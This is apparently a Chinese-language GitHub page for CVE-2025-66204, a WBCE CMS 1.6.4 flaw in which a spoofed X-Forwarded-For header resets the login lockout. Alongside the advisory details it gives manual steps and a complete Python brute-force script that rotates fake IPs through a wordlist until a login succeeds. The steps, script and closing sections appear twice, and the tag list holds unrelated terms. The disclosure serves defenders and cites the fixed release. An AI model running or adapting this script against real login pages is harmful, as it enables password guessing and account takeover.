lukasz-rybak/CVE-2025-66204
GitHub: lukasz-rybak/CVE-2025-66204
展示如何利用X-Forwarded-For头绕过WBCE CMS的暴力破解保护并复现PoC。
Stars: 0 | Forks: 0
# CVE-2025-66204:WBCE CMS 允许通过 X-Forwarded-For 标头绕过暴力破解保护
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2025-66204](https://nvd.nist.gov/vuln/detail/CVE-2025-66204) |
| **严重性** | 中等 |
| **公告** | [查看公告](https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 影响产品
- **WBCE/WBCE_CMS**
## 详情
### 摘要
WBCE CMS 1.6.4 存在暴力破解保护绕过漏洞。
登录节流机制会在 5 次无效登录尝试后封禁 IP 地址。
然而,应用程序完全信任 X-Forwarded-For 标头,而未进行验证或使用限制。
通过修改每次请求的 X-Forwarded-For,攻击者可以无限重置计数器,从而获得无限的密码猜测尝试次数,实际上绕过了所有暴力破解保护。
### 细节
WBCE CMS 使用以下逻辑确定客户端 IP:
1. 如果请求包含 X-Forwarded-For 标头,应用程序会盲目信任其值。
2. 否则,它会回退到 REMOTE_ADDR。
尽管 WBCE 默认情况下未运行在反向代理之后,但登录端点在存在 X-Forwarded-For 时仍会解析它,即使该标头由客户端手动添加。
因为应用程序未验证请求是否源自受信任的代理,攻击者可以注入任意 IP 地址作为 X-Forwarded-For。
这导致以下情况:
- 攻击者使用 X-Forwarded-For: 10.0.0.1 发送 5 次无效密码 → 该 IP 被封禁
- 攻击者发送下一个请求,X-Forwarded-For: 10.0.0.2 → 被视为全新的 IP
- 暴力破解保护可以无限绕过
此行为在 WBCE CMS 前无反向代理的干净默认安装中可复现。
### 漏洞利用(PoC)
步骤
尝试使用错误密码登录并发送标头:
X-Forwarded-For: 10.0.0.10
重复直到锁定(5 次尝试后)。
将标头更改为:
X-Forwarded-For: 10.0.0.11
登录尝试将被重置并再次允许。
轮换使用 10.0.0.x 范围内的地址,可无限进行暴力破解而不受限制。
### 自动化 PoC 脚本
我编写了一个 Python 脚本,可自动执行该攻击,每四次尝试轮换一个伪造的 IP 地址,并检测成功登录。
...
这证明了保护机制被完全绕过。
```
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
```
### 影响
1. 任意账户的无限暴力破解;
2. 可能危及管理员账户;
3. 未实施任何速率限制。
## 参考
- https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
- https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
- https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5
## 免责声明
本 CVE 遵循协调漏洞披露(CVD)流程进行负责任披露。此处提供的信息仅用于教育和防御目的。
将标头更改为:
X-Forwarded-For: 10.0.0.11
登录尝试将被重置并再次允许。
轮换使用 10.0.0.x 范围内的地址,可无限进行暴力破解而不受限制。
### 自动化 PoC 脚本
我编写了一个 Python 脚本,可自动执行该攻击,每四次尝试轮换一个伪造的 IP 地址,并检测成功登录。
...
这证明了保护机制被完全绕过。
```
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
```
### 影响
1. 任意账户的无限暴力破解;
2. 可能危及管理员账户;
3. 未实施任何速率限制。
## 参考
- https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
- https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
- https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5
## 免责声明
本 CVE 遵循协调漏洞披露(CVD)流程进行负责任披露。此处提供的信息仅用于教育和防御目的。标签:CMS安全, CVE, IP欺骗, JavaScript, PoC, WBCE, WBCE_CMS, Web安全, X-Forwarded-For, 字符串匹配, 安全漏洞, 数字签名, 暴力破解, 登录防护, 网络安全, 蓝队分析, 认证绕过, 请求头伪造, 逆向工具, 防护绕过, 隐私保护